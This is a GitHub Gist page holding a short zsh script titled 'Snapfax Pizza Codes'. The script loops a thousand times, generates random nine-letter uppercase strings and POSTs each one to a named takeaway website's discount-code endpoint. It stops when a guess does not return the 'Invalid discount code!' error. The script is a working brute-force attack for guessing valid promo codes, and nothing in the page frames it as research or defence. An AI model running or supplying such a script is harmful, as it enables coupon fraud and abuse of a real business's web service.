Created
February 27, 2015 18:53
-
-
Save mrknmc/4e2c1ae5a0f8c2afdea5 to your computer and use it in GitHub Desktop.
Snapfax Pizza Codes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/zsh | |
ERROR="Invalid discount code!" | |
for run in {1..1000} | |
do | |
NEW_UUID=$(cat /dev/urandom | LC_ALL=C tr -cd "[:upper:]" | head -c 9) | |
echo -e "Trying out ${NEW_UUID}" | |
RESPONSE=$(curl -s "http://www.snapfaxtakeaways.co.uk/discount/usersnapcode" --data "promocode=${NEW_UUID}&code_type=2" --compressed) | |
echo "$RESPONSE" | |
if [[ "$RESPONSE" != "$ERROR" ]] | |
then | |
break | |
fi | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment